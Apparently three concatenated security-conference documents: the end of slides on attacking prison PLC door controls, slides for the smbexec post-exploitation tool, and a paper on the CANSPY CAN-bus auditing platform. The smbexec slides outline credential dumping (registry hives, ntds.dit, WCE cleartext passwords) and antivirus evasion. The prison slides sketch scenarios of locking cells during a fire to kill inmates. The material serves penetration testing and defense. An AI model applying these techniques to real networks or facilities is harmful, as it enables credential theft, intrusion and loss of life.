gradually “cascaded” open or closed, group-
by-group. You could override the “cascade”
program.
Technicians access the
Equipment Room
› We were there when
techs were in Equipment
room; with permission,
we followed them down
under Central Control
Central Control infected
with a USB drive
Internet access being
used by guards for
personal usage
› Policies against this exist,
but we witnessed this
being abused
Software updates
Straight-forward
malicious attacks from
outside the facility
Malicious attacks from
outside the “sanitized”
zone, but at a point at
which the Internet
connects to the outside
From Within
From Without
Prison design shows that there may be
multiple places where internet access
from the control computers in Central
Control touch buildings in which there is
Internet access reachable from the
outside
› An example is the Commissary
› Where there are financial exchanges, we
traced some connections shared with
Central Control
What kind of badness is
possible?
› Goal is to open doors
To either cause chaos for a murder, bring an
item into the prison or release someone from
the facility
Potential to open:
All cell doors
Doors to the yard
Gates into/out of the facility
Most doors, in event of fire, have own separate
controls
But emergency controls for those gates that are wired
into the Central Control over-ride
Unlikely…yes, but in the past 30 years
helicopters have been used for a prison
escape 8 times, of which 6 were initially
successful. Which event is more unlikely?
Attack via Internet Access
Devices do updates via the Internet
Unsigned software manufacturer/vendor updates?
The guards in Central Control and Housing Control
are not supposed to use computers for personal
usage
We witnessed guards in Central Control on personal
Gmail accounts
Had discussion with guards; they admitted a lot of
malware on control computer because of viewing of
images and movies
› Prisoners sometimes want to target someone
within the prison.
› Example: During a fire evacuation
Prisoners in high security prisons often do not
evacuate into the yard, but use horizontal
exiting, such as through a one-hour rated
partition
In process, prisoners have slammed doors
(called “slam locks”) shut behind them,
trapping those behind in areas that cannot be
manually re-opened once the fire alarm
activated. Those behind the door have died.
› Lock a Housing Unit Down
A gang in one Housing Unit wants to eliminate
members of another gang in a separate
Housing Unit.
Lock down a Housing Unit, no manual over-rides
Set a mattress fire
Result is everyone, including guards, in locked down
housing unit, perish
It cost us only $2500 (mostly in legit licenses)
Bought licensed products from the vendor
Wrote exploits for the Siemens S7-300, the same one
exploited by Stuxnet
There are exploits that are simple-to-write
Buffer overflow on a stack, about 30 lines of code
Programming
PLCs is easy
Ladder Logic
In <3 hours & no
prior ladder
logic
experience, we
simulated jail’s
system
Logic AND
In Ladder Logic
Logic OR
In Ladder Logic
There exist many publically available
exploits…
Luigi Auriemma
› 34 exploits released in 1 day (Mar 21, 2011)
› http://aluigi.org/adv.htm
Metasploit
Exploit-DB
Similar to Stuxnet
Directly call PLC functions
Suppress alarms/notifications
Video on YouTube
Use a device for its intended purpose
Proper network segmentation
Restrict physical media
Restrict physical access
Follow acceptable use policies
regarding accessing the Internet from
locations like the Control or Equipment
Rooms
Many modern prisons/jails were designed
10 years ago before these attacks were
known
Improved communication/interaction
between IT and physical security
Enforcing and updating procedures and
policies regarding acceptable use of facility
computers
Patch PLC and controlling computer’s
software
When PLCs are in use in secured areas, use
heightened security procedures
The CISO of a State in the U.S. who is
cognizant about computer security and
is working to improve security in
correctional facilities
The Feds who invited us for a briefing on
our research
Law Enforcement Officers who provided
us with a tour and discussed their
concerns about the current state of the
correctional system
CORE Security Technologies for publishing
our work and teaming with us for
correctional facility pen test projects
Tiffany Rad
› [email protected]
Teague Newman
› [email protected]
John Strauchs
› [email protected]
For questions or inquiries about penetration tests of
correctional facilities, contact us or
[email protected] | pdf |
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
Getting the goods with smbexec
Eric Milam – Brav0hax
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
Don’t you know who I am?
•
Attack & Pen -> Accuvant LABS
•
Open Source Projects -> easy-creds, smbexec,
Kali Linux
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
What is smbexec?
What does it do?
Why should I care?
•
There’s nothing 0 day here! BOO!
•
Yes, but automation is awesome!
•
You can use this tool immediately
•
It will make post-exploitation much easier
What’s this all about?
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
•
Bash script, yes, a bash script…
•
1 week of work, consuming a
years worth of Mountain Dew
•
Power of the tool lies in smbclient &
winexe
•
smbclient to get/put files
•
winexe to execute
What is smbexec?
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
•
Standard msf payloads with psexec module
kept getting popped by AV
•
Custom exes also popped because AV
trigger is on injection (service protection)
•
Damn you trend micro, but thanks for the
motivation
•
Blog post from Carnal0wnage
•
Upload and execute your payload
Why write smbexec?
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
I want my shells and I want them now!
•
Creates an obfuscated payload that will
bypass most commercial AV
•
Creates a Metasploit rc file and launches a
Metasploit listener to make things “easy.”
What have you done for me lately?
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
What? You can get all this great stuff with winexe
and native windows commands?
Going Native
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
•
winexe is similar to sysinternals psexec and
the --system flag is awesome
•
No “payload” necessary
•
Looks like normal Windows traffic to OPSEC.
Move Along - Nothing to see here…
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
Execute commands as SYSTEM, the
possibilities are virtually limitless
•
Dump hashes from workstations and
servers
•
Create a Volume shadow copy
•
Run other tools (as SYSTEM)
•
Check for and disable UAC (If needed)
Check systems for DA/EA accounts logged
in or running a process
•
NEW and IMPROVED with more shells!
Master and Commander
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
• Dump hashes workstation/servers
• reg.exe save (HKLM SYS,SEC,SAM)
•
SYS+SAM=Local Hashes
•
SYS+SEC=Domain Cached Creds
• creddump converts to hashes in John format for you
smbexec – grab local & dcc hashes
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
• Creates a Volume shadow copy, grabs the SYS reg key
and get the hashes from ntds.dit
• Fully automated to grab all the goods and cleans up after
you
• NTDSXtract & libesedb runs automatically if grabbing the
NTDS.dit and SYS key is successful
• ntds.output file converted into a list of hashes in John
format
• Tab separated cred list created for other functionality
smbexec – automated VSC
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
WCE FTW! (p.s. Don’t talk to me about
mimikatz)
•
Incorporated into smbexec with
permission from the owner
•
wce.exe and the -w flag
•
Runs automagically as part of the hash
grab functionality
smbexec – clear text passwords
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
smbexec hashgrab demo
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
The caveats…there’s always
something
You need a credential with admin rights for the
system (local or domain)
•
administrator:password can usually get you
started in 9 out of 10 corporate networks
•
NBNS spoofing
•
Of course there’s always MS08-067 ;-)
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
•
winexe creates a service, could be stopped or
become a red flag
•
Sometimes AV doesn't like wce
•
wce included with smbexec has been obfuscated
with the approval of the original developer
•
Authentication over port 139 or 445 is required
•
Locard's exchange principle "Every contact
leaves a trace"
When they’re blue teaming…
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
Where can I get smbexec?
Sourceforge or GitHub (Brav0Hax)
Metasploit Modules
•
Royce Davis (@r3dy__) from pentestgeek.com
•
psexec_command
•
ntds_grab
Impacket
•
Built in python based on the work by Royce
smbexec v2.0
•
Ruby port (super dope)
•
Brandon McCann (@zeknox) and Thomas McCarthy
(smilingraccoon) from pentestgeek.com
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
Credit where it’s due!
•
wce.exe Hernan Ochoa http://www.ampliasecurity.com
•
smbclient & winexe Hash Passing patch JoMokun, Emilio
Escobar, Skip Duckwall
•
vanish.sh Original concept Astr0baby stable version edits
Vanish3r
http://www.securitylabs.in/2011/12/easybypassavandfirewall.html
•
www.samba.org
•
winexe ahajda http://sourceforge.net/users/ahajda
•
Metasploit www.metasploit.com
•
Nmap nmap.org
•
Creddump Brendan Dolan-Gavitt
http://code.google.com/p/creddump/
•
NTDSXtract Csaba Barta http://www.ntdsxtract.com/
•
libesedb Joachim Metz http://libesedb.googlecode.com/
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
Questions
• Twitter -> @Brav0Hax
• IRC -> J0hnnyBrav0
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved. | pdf |
CANSPY: a Platform for Auditing CAN Devices
Arnaud Lebrun
Airbus Defence and Space
[email protected]
Jonathan-Christofer Demay
Airbus Defence and Space
[email protected]
ABSTRACT
In the past few years, several tools have been released allowing hobbyists to connect to CAN buses found in cars. This is welcomed as the
CAN protocol is becoming the backbone for embedded computers found in smartcars. Its use is now even spreading outside the car through
the OBD-II connector: usage-based policies from insurance companies, air-pollution control from law enforcement or engine diagnostics
from smartphones for instance. Nonetheless, these tools will do no more than what professional tools from automobile manufacturers can
do. In fact, they will do less as they do not have knowledge of upper-layer protocols.
Security auditors are used to dealing with this kind of situation: they reverse-engineer protocols before implementing them on top of their
tool of choice. However, to be efficient at this, they need more than just being able to listen to or interact with what they are auditing.
Precisely, they need to be able to intercept communications and block them, forward them or modify them on the fly. This is why, for
example, a platform such as Burp Suite is popular when it comes to auditing web applications.
In this talk, we present CANSPY, a platform giving security auditors such capabilities when auditing CAN devices. Not only can it block,
forward or modify CAN frames on the fly, it can do so autonomously with a set of rules or interactively using Ethernet and a packet
manipulation framework such as Scapy. It is also worth noting that it was designed to be cheap and easy to build as it is mostly made of
inexpensive COTS. Last but not least, we demonstrate its versatility by turning around a security issue usually considered when it comes to
cars: instead of auditing an electronic control unit (ECU) through the OBD-II connector, we are going to partially emulate ECUs in order to
audit a device that connects to this very connector.
CCS Concepts
• Networks➝Bus networks • Security and privacy➝Embedded systems security • Security and privacy➝Penetration testing.
Keywords
Controller Area Network; Man-in-the-middle attack; Smart vehicle; Security audit.
1. INTRODUCTION
In the past years, the increasing addition of embedded computers in cars known as Electronic Control Unit, or ECU, has improved vehicle
performances as well as safety and comfort for the occupants. As far as the latter point is concerned, it comes along with the need to make
the car connected (i.e., Wi-Fi, Bluetooth, USB or even mobile broadband). As the car’s use of new technologies increases, so does the
attack surface. That much has been proven in the recent years and on numerous occasions by security researchers. As a matter of fact, they
have demonstrated that the worst possible scenario can become reality: a malicious individual remotely endangering the vehicle’s
occupants as well as the nearby vehicles on the road [1]. It is worth noting that, to achieve such result, it is usually needed to go beyond the
compromise of an embedded computer exposed by the attack surface and expand the compromise deeper in the car.
To ensure that such scenarios will not happen outside the laboratories of security researchers, automobile manufacturers have started to
mandate information security firms to conduct audits on current ECUs to assess the risks the vehicle is exposed to and, if need be, craft
remediation plans before damage has already been done. To go farther with this approach, they also mandate audits on prototype ECUs
with the explicit aim of fixing security issues at the earliest possible stage. Regarding the case of prototypes, it is worth mentioning that, not
only it greatly reduces the risk of a vulnerability to ever be present in a commercial vehicle, it is also the most cost-effective approach.
Auditing ECUs is fairly new for information security firms and there is still a great deal of work to be done regarding the methodology and
the tools. Indeed, security auditors are costly resources for automobile manufacturers, meaning that they usually have much less time to
find vulnerabilities than security researchers. On the other hand, unlike security researchers, they work with the assistance of engineers
from the automobile manufacturer. Nonetheless, improving efficiency and thus cost-effectiveness is always at stake for security auditors.
In this paper, we will focus on two aspects: auditing ECUs that are not directly exposed by the attack surface and, more precisely, auditing
them using a penetration testing approach. To that end, after giving an overview of the datalink protocol ECUs use to communicate with
each other, we will go through the penetration testing methodology when applied to this particular case. Then, we will present CANSPY, a
platform providing security auditors with the ability to intercept communications and block them, forward them or modify them on the fly
with standard penetration testing tools. Finally, we will demonstrate the versatility and the efficiency of CANSPY by turning around a
security issue usually considered when it comes to cars: instead of auditing an ECU through the OBD-II connector, we are going to
partially emulate ECUs in order to lay the groundwork needed to audit a device that connects to this very connector.
2. CAN: CONTROLLER AREA NETWORK
The Controller Area Network or CAN is a multi-master serial bus standard initially designed for vehicle applications but is now used in
several other industries (e.g., the aerospace industry). In this section, we will cover the most important aspects of this standard.
2.1 CAN LAYERS
The CAN standard specifies the physical and datalink layers of the OSI model. More specifically, ISO 11898-2 and 11898-3 cover the
physical layer respectively for high-speed and low-speed (i.e., fault-tolerant) transmission while ISO 11898-1 covers the datalink layer.
Higher-layer protocols are not covered by ISO 11898 and several other standards haven been designed to address them (e.g., ISO15765-2).
At physical level, communications rely on differential signaling, meaning that electrical transmission is using two complementary signals.
Receiving nodes then measure the difference between the two signals (e.g., ECUs for vehicles, see Figure 1 for illustration). The benefits of
this compared to measuring the difference between a single wire and a ground are robustness against signal noise and fault tolerance. More
specifically, communications relies on balanced differential signaling which means that the flows of both signals are equal but opposite in
direction (i.e., high and low signals). Over a twisted-pair cable, as in the case of the CAN standard, balanced differential signaling enhances
even further the noise-robustness capabilities. Furthermore, additional noise immunity is achieved by maintaining the differential
impedance at low level with 120 ohms resistors at each end of the bus.
Figure 1. Diagram of a single CAN bus
Regarding the datalink layer, let us first focus on the Media Access Control sublayer (MAC). To handle collision issues, it relies on the
CSMA/CR mechanism: Carrier Sense Multiple Access with Collision Resolution. This is a lossless bitwise arbitration method of collision
resolution while transmitting. The key aspects behind this mechanism are the following:
The logical 0 is a dominant bit (i.e., a high voltage state).
The logical 1 is a recessive bit (i.e., a low voltage state).
The idle state is represented by the recessive state (i.e., a logical 1).
Each node always listens to the bus including when it is transmitting.
As a result, if two or more nodes start transmitting at the same time, the collision is resolved by the following behavior:
If all nodes transmit the same bit, dominant or recessive, none of them can detect the collision since the observed voltage state is
the expected one and the transmission thus continues for each one of them.
If one or more nodes transmit a dominant bit while the others transmit a recessive one, the latter will detect the collision as they
listen to the bus and therefore stop transmitting while the former continue with the transmission.
This arbitration continues until there is only one node transmitting on the bus.
All the nodes that lose arbitration wait for the next time the bus is in an idle state to try transmitting again.
In the case of the CAN standard, this arbitration is supposed to be over by the time each node has transmitted the ID, meaning that the
lower the ID is, the better priority the message has. This also means that, within a single CAN bus, every ID must be unique to a type of
messages, a given type of messages can only be transmitted by one particular node and a node can however transmit multiple types of
messages. On that regard, Table 1 and Table 2 provide a complete overview of both base and extended frame formats. To continue with the
CAN frame format, let us now focus on some of the aspects associated with the Logical Link Control sublayer (LLC).
Table 1. The CAN base frame format (source: Wikipedia)
NAME
LENGTH (BITS)
DESCRIPTION
Start-of-frame
1
Denotes the start of frame transmission.
Identifier
11
A unique identifier which also represents the message priority.
Remote transmission request (RTR)
1
Logical 0 for data frames and logical 1 for remote request frames
Identifier extension bit (IDE)
1
Logical 0 for base frame format with 11-bit identifiers
Reserved bit (r0)
1
Reserved bit
Data length code (DLC)
4
The number of bytes of data
Data field
0-64
The data to be transmitted (length dictated by the DLC field)
CRC
15
Cyclic redundancy check
CRC delimiter
1
Must be recessive (logical 1)
ACK slot
1
A recessive bit (logical 1) for the transmitter
ACK delimiter
1
Must be recessive (logical 1)
End-of-frame (EOF)
7
Must be recessive (logical 1)
Table 2. The CAN extended frame format (source: Wikipedia)
NAME
LENGTH (BITS)
DESCRIPTION
Start-of-frame
1
Denotes the start of frame transmission
Identifier A
11
First part of the unique identifier which also represents the message priority
Substitute remote request (SRR)
1
Must be recessive (logical 1)
Identifier extension bit (IDE)
1
Logical 1 for extended frame format with 29-bit identifiers
Identifier B
18
Second part of the unique identifier which also represents the message priority
Remote transmission request (RTR)
1
Logical 0 for data frames and logical 1 for remote request frames
Reserved bits (r1, r0)
2
Reserved bits
Data length code (DLC)
4
Number of bytes of data
Data field
0–64
Data to be transmitted (length dictated by the DLC field)
CRC
15
Cyclic redundancy check
CRC delimiter
1
Must be recessive (logical 1)
ACK slot
1
A recessive bit (logical 1) for the transmitter
ACK delimiter
1
Must be recessive (logical 1)
End-of-frame (EOF)
7
Must be recessive (logical 1)
Transmission using data frames is pretty straight forward. The interesting aspect here is the acknowledgment mechanism. It relies on the
ACK slot: while the transmitting node is setting the field with a recessive bit, any other node will overwrite it with a dominant bit if it does
not detect an error. When that occurs, the transmitting node becomes aware that the frame has been properly received by at least one node.
In the opposite situation, the frame is queued again for transmission until proper reception or until a timeout occurs.
Finally, one last aspect deserving a bit of explanation: Remote Transmission Request (RTR) frames. Usually, on a CAN bus, the nodes are
transmitting data frames on their own, leaving it to the other nodes to decide whether or not to process the transmitted data. However, it is
possible for a node to request specific data by using a RTR frame with the proper identifier field. In this situation, the transmitted frame
differs in the following ways:
The RTR field is set with a recessive bit (i.e., a logical 1).
The DLC field now indicates the number of requested bytes.
The data field is empty despite the value of the DLC field.
In case of collision with a data frame with the same identifier, the RTR determines the arbitration (in favor of the data frame).
2.2 CAN ARCHITECTURES
The CAN specification does not define the maximum allowed number of nodes. However, depending on the characteristics of the physical
layer and to avoid congestion issues, there is in fact a practical limitation to the number of nodes that should be connected to a single CAN
bus. Nevertheless, modern cars are using an increasing number of ECUs to add new features. For that reason, automobile manufacturers
have been relying on multi-buses architectures. In this section, we present the two main architectures we have encountered in actual audits.
First, we have the architecture that relies on multiple separate buses to distribute the network load (see Figure 2 for illustration).
Nevertheless, in regard to security, this type of architectures could also be considered because of its segmentation capabilities. However,
given the functionalities a modern car is offering, it is almost mandatory that some ECUs will have to be connected to multiple buses. In
case one or more of these ECUs were to be compromised, they could be used to bypass the segmentation.
Figure 2. Diagram of a CAN architecture based on multiple separate buses
Secondly, we have the architecture that relies on multiple interconnected buses (see Figure 3 for illustration). In this case, the network load
is also distributed among several CAN buses but no ECUs are connected to multiple buses except for the one gateway in charge of routing
the frames. It is worth mentioning that routing decisions may be based on static rules but also on the current state of the vehicle (e.g.,
wheel-testing frames are not forwarded if the vehicle is moving). Rightly so, such gateway may also be considered in order to enforce
security along with safety. However, in this case, it becomes a target of choice if another ECU has been compromised beforehand.
Figure 3. Diagram of a CAN architecture based on multiple interconnected buses
3. AUDITING CAN DEVICES
A security audit is methodological approach with an aim at highlighting good security practices as well as vulnerabilities within a given
scope. However, it does not aim at any form of completeness in covering all vulnerabilities. Nonetheless, with the proper methodology, it
should provide the stakeholders with a certain level of confidence in the strength of the asset or group of assets in front of malicious
behaviors at a given point in time. In the remainder of this section, we provide an overview of the specifics of one particular auditing
approach, penetration testing, and an argument about its applicability in the context of CAN devices considering the current available tools.
3.1 PENETRATION TESTS
Unlike the conventional approach that relies of reviewing documents (e.g., procedures or schematics), the penetration testing approach
relies on actual tests. The process is simple: an auditor conducts several actions within the given scope and observes the induced behavior.
Then, by analyzing the observed behavior, the auditor tries to infer if the design, the implementation or the configuration of the asset or
group of assets is vulnerable and if there is any room for exploitation. The idea behind such approach is get results rooted in reality by
taking the point of view of real attackers.
However, the relevancy of this approach is tainted by the fact that security auditors have to deal with limitations unknown to real attackers.
Indeed, malicious people are not constrained by deadlines or by ethics considerations. In case of well-funded attackers, they may also have
more resources than the security auditors. For that reason, the penetration testing methodology actually relies on gray-box testing as
opposed to real attackers that are forced to work with a black-box approach.
Indeed, while a black-box tester is not aware of anything about the internals of the considered scope, a gray-box tester has a partial
knowledge of it (e.g., documentations or schematics). This helps leveling the playing field between a security auditor and a real attacker.
Furthermore, such approach can also be used by security auditors to place themselves in the position of a malicious legitimate user or even
in the position of malicious third-party that could get information through a first successful social-engineering attack.
However, gray-box testing is not white-box testing, meaning that the auditors will not be given access to everything, like source codes for
example. Security auditors are used to dealing with this situation: they persist with numerous trials and errors or even reverse-engineer
protocols before implementing them on top of their tool of choice. However, to be efficient at both, they need more than just being able to
listen to or interact with what they are auditing. Precisely, they need to be able to intercept communications and block them, forward them
or modify them on the fly. This is why, for example, a platform such as Burp Suite is popular when it comes to auditing web applications.
3.2 CAN TOOLS
In the past years, several tools have been released allowing hobbyists to connect to CAN buses found in cars. This is welcomed as the CAN
protocol is now even spreading outside the car through the OBD-II connector: the more car hacking becomes accessible to tech-savvy
individuals, the better it is for the security community in general. However, these tools will do no more than what professional tools from
automobile manufacturers can do. In fact, they will do less as they do not have knowledge of upper-layer protocols.
Moreover, even though they give users the ability to send and receive frames on and from a CAN bus, they do not provide them with any of
the capabilities exposed in section 3.1. The reason for that is pretty simple: because CAN is a serial bus, it means that in order to achieve
this, you need either to physically cut the bus and insert yourself in-between (see Figure 4 for illustration) or to disconnect a particular ECU
and isolated it on its own bus (see Figure 5 for illustration). Additionally, regarding the former case, CAN buses usually being pretty
congested, it would be mandatory to handle such issue on both sides of the bus (which must now be considered as two separate buses).
Figure 4. Man-in-the-middle setup when physically cutting the CAN bus
Figure 5. Man-in-the-middle setup when isolating a particular ECU
Furthermore, it would not be wise to implement the aforementioned capabilities on top of these existing tools, and for two reasons. First,
they only have one CAN interface. Therefore, to achieve man-in-the-middle capabilities, two devices must be bridged together by a
computer. However, the CAN protocol was designed to meet with timing constraints. It may not be an issue for every ECU but it certainly
would not provide a sound basis for an auditing platform. Secondly, to connect to a computer, they rely on an USB-UART interface
operating at 115.2 kbps. Even though it can be configured to operate at higher rates, even at maximum speed we would be at risks of being
limited. Indeed, keep in mind the objectives behind our approach as well as the requirements derived from them:
Handle two CAN buses at the same time, each one of them being able to go as far as 1Mbit/s.
Provide interoperability using the SocketCAN format which is much less compact than the actual CAN frame format.
Append an additional encapsulation layer to at least be able to distinguish between the two CAN interfaces.
Reduce the latency as much as possible in order to meet with the timing constraints of the CAN protocol.
Never drop any CAN frame as this would prevent the proper processing of fragmented payloads.
For that reason, we argue that the best choice is the use of an Ethernet controller:
The chance of having congestion issues with our case is inexistent.
It has been available as standard on any computer for several decades.
MAC addresses can be used to distinguish between the two CAN interfaces.
Data transfer rates will in fact provide very low latencies.
Regarding the no-frame-drop requirement, it is not only about the connectivity with the host computer but also about the speed of the actual
processing. This is why we should dismiss popular hardware platform like Arduino and instead turn to more powerful microcontrollers.
Nonetheless, there is another reason why we argue that Ethernet would be the best choice: it allows out-of-the-box use of existing packet
manipulation frameworks such as Scapy [5]. Not only will this provide security auditors with the ability to use mature and efficient tools, it
will also help join efforts when it comes to reverse-engineering higher-layer protocols. It was our position with Scapy-radio [2] regarding
the case of radio-communication protocols and it showed its effectiveness in distributing the workload among security specialists.
4. CANSPY ARCHITECTURE
In this section, we detail the architecture of the platform we designed to meet with the functional specifications expressed in section 3.
4.1 CANSPY HARDWARE
The main board of CANSPY is a STM32F4DISCOVERY from STMicroelectronics (see Figure 6). It relies on a STM32F407VGT6
microcontroller with an ARM Cortex-M4 32-bit core running at 160 MHz. This microcontroller also provides several additional cores such
as 10/100 Ethernet, Micro SD card, UART and CAN. There are more cores other than those we have just listed but these are what we
required to build CANSPY.
More specifically, two distinct CAN cores were required and this is precisely what this board provides. Additionally, having these CAN
cores also avoids the use of SPI buses. Yet, none of the transceivers and connectors required to use the aforementioned cores are provided
by this board. That is why we attached to this board the STM32F4DIS-BB extension board (see Figure 7). It provides transceivers and
connectors for 10/100 Ethernet, Micro SD card and UART in the form of RS232 with a DB9 connector.
Figure 6. Picture of the STM32F4DISCOVERY board
Figure 7. Picture of the STM32F4DIS-BB extension board
However, this extension board does not provide any transceivers or connectors for CAN connectivity. That is why we designed an
additional extension board (see Figure 8). The CANSPY extension board provides connectivity for the two CAN cores (from now on
designated as CAN1 and CAN2) as well as several possible configurations using jumpers (details are given later in this section). It relies on
a simple design with few components which makes it easy and cheap to build. It is worth mentioning that the CANSPY extension board
provides DB9 connectors and their routing is identical to the one chosen by Goodthopter [2]. This means that any cable compatible with
Goodthopter will be compatible with CANSPY. As whole, the CANSPY hardware platform is inexpensive and easy to put together.
Figure 8. Picture of the CANSPY extension board (v1.2)
Figure 9. Picture of the unpopulated PCB of the CANSPY
extension board (v1.3)
As mentioned above, the CANSPY extension board allows several possible configurations using jumpers. This is a direct consequence of
the different issues we exposed in sections 2 and 3. It is worth noting that we are also considering the OBD-II case which provides a 12-
volt line. We explain these configurations here using a picture of an unpopulated PCB of the CANSPY extension board (see Figure 9):
P104, P105, P106 and P107 provide a direct access to the high and low lines of CAN1 and CAN2. Shunting them will thus
merge CAN1 and CAN2 which might be used to hot-unplug CANSPY (i.e., without unplugging the DB9 cables). The use of
jumper wires is required when DB9 cables are not available in a given situation. The reason why there is twice the number of
jumper pins is because it is convenient when building a CAN testbed using only CANSPY devices.
P001 and P102, if shunted, provide respectively for CAN1 and CAN2 the 120 Ohm resistor needed at the end of a CAN bus. Do
not shunt these pins if the resistor is already present on the bus you are connecting to. Otherwise, it might damage the CAN
devices that are also connected to this bus. Usually, you only need to shunt these pins when building a CAN testbed.
P100, if shunted, connects the 12-volt line between CAN1 and CAN2. This is needed when the power source for the CAN
transceivers in U000 and U100 is the 12-volt line via the voltage regulator in U101.
P103, if shunted, connects the 5 V line between the main board and CAN1. This is needed when both the main board and the
CAN transceivers in U000 and U100 are using the same power source, whether it is the 12-volt line via the voltage regulator in
U101 or the 5 V line (e.g., the USB cable). Do not shunt it if both power sources are present.
Additionally, when building a CAN testbed, providing the 12-volt line might be necessary (e.g., a CAN device is powered by this
line). In that regard and for practical reasons, the red square in Figure 9 is the location of an electrical terminal connected to the
12-volt line. Moreover, devices powered by the 12-volt line might use the “signal ground” instead of the “chassis ground”. In that
situation, shunt P201 to connect both grounds. Do not shunt it when connected to a car.
4.2 CANSPY FIRMWARE
In this section, we present the firmware we developed to run on the hardware platform previously exposed. First and foremost, Figure 10 in
the next page shows the overall architecture. At the lowest levels, we have the different device drivers and the hardware abstraction layer
provided by the STM32CubeF4 SDK from STMicroelectronics [4]. At the highest levels we have the scheduling mechanisms and in-
between we have the different device handlers and services.
Each service is registered to a particular device and handles a single job. Only the registered services of a given device can use this device
to transmit data. Conversely, the data received by any device is accessible to all services. This is achieved using respectively exclusive and
shared buffers. This functional segmentation helps enforcing the single-job service approach but also provides the user with the mean to
disable transmission for a given device without disabling reception.
4.2.1 CANSPY SCHEDULING
Before digging into the details of the device handlers and their services, let us first focus on the scheduling mechanism. First of all, the fact
is that we must be able to handle multiple I/O devices at the same time, on a single core, while meeting the timing constraints of two
distinct CAN buses. Interrupt-driven I/O handling is a proven approach in such situation and the hardware abstraction layer is appropriately
providing us with an interrupt mode of operation. Consequently, regarding the I/O operations of the CAN devices, given that the frequency
of the microcontroller is high enough compared to the bitrate of the CAN buses, we should not face any timing issues.
Furthermore, all other possible I/O operations are also bounded by the bitrate of the CAN buses: whether it is with the Ethernet controller
or with the Micro SD card drive, all I/O operations are about reading or writing CAN frames. It is worth mentioning that CAN frames have
a maximum size of 128 bits (including the PHY layer). This means that, with services designed to handle one interrupt at a time and to
process CAN frames with a linear time-complexity, we thus have a constant upper bound to how long any service will take to complete its
current job. The only exceptions to this are the debugging and configuration services. Therefore, in the remainder of this section, such
services will not be considered when explaining the choice we made to meet with timing constraints.
Because of the very nature of the objectives of the CANSPY platform, there are no interrupt-handling services (i.e., synchronous services)
more important than others. Indeed, for example, in case of a man-in-the-middle setup where we want to monitor the CAN traffic, the
service transmitting a received frame on the destination CAN bus is no more important than the one transmitting that very frame on the
Ethernet network. For that reason and the fact that each service has a bounded execution time, the scheduling mechanism for synchronous
services relies on a flag-based cyclic executive loop, thus saving the cost of a context-switching mechanism.
However, in order to also have the ability to include services that are not triggered by an interrupt but instead run permanently (i.e.,
asynchronous services), a distinct cyclic executive loop is dedicated to this type of services. To ensure that the synchronous services have
an absolute priority over the asynchronous ones, a priority scheduler is placed on top of both cyclic executive loops. This is a non-
preemptive scheduler, meaning it cannot interrupt a service but only a loop after the current service has returned. Again, with asynchronous
services also designed to have a bounded execution time, adding a context-switching mechanism would not have been cost-effective.
Finally, there still might be situations where several services registered to a particular device can conflict with each other. For example, in
case where a service is filtering frames between the two CAN buses while another one is blindly forwarding them (i.e., the former thus
being completely undermined by the latter). To handle these situations, a mutual exclusion mechanism is also present: each service can be
registered with an exclusive write access to the device it is registered to. When two or more of such services are started for a given device,
the one considered by the cyclic executive loop is the one that was first registered. As a result, the following behavior will happen: for a
given device and at the same time, any number of non-mutually-exclusive services can run but only one mutually-exclusive service at most.
Figure 10. CANSPY firmware architecture
4.2.2 CANSPY DEVICES
In this section, we described all the device handlers implemented by CANSPY as well as their respective options. As previously stated, the
STM32F407VGT6 microcontroller is providing two distinct CAN cores. In the remainder of this section, there are referred to as CAN1 and
CAN2. Having two distinct CAN interfaces was mandatory to properly implement man-in-the-middle capabilities. Consequently, every
options and services are duplicated for each CAN device handler in order to make them fully independent. The idea behind this
independency is to not restrict users on how they can process CAN frames. For example, it is possible to forward frames from CAN1 to
CAN2 while blocking them the other way around, thus creating a CAN diode.
Each one of the CAN device handlers is supporting the following options:
can_spd: the speed of the CAN bus (it can differ for both devices, thus allowing the use of two different buses at the same time).
can_mac: the MAC address of the CAN interface over Ethernet (the default last byte is the ID of the CAN interface).
can_typ: the Ethertype used for CAN encapsulation (the local experimental value 0x88b5 allowed by RFC7042 is the default).
can_sil: specifies if a CAN interface is silent (i.e., no acknowledgement) until the transmission on the other one has occurred.
High-priority cyclic executive for
synchronous services
Low-priority cyclic executive for
asynchronous services
Non-preemptive priority scheduler
Service
Service
Service
Device handler
Service
Service
Service
Device handler
Service
Service
Service
Device handler
Device driver
Transmit buffer
Transmit buffer
Transmit buffer
Device driver
Device driver
Hardware Abstraction Layer
Receive buffer
Receive buffer
Receive buffer
Mutex
Mutex
Mutex
It is worth explaining that the last option exists for throttling purposes and why we need this. CAN buses can be pretty congested, meaning
that CAN devices will be naturally throttled by the congestion and that the ID-based priority management mechanism will be essential in
order for all messages to meet their deadlines. However, if we use CANSPY to separate a device from its CAN bus (see Figure 5 in section
3.2 for a diagram of this situation), depending on the filtering rules, this device may have a less congested bus dedicated to itself, thus
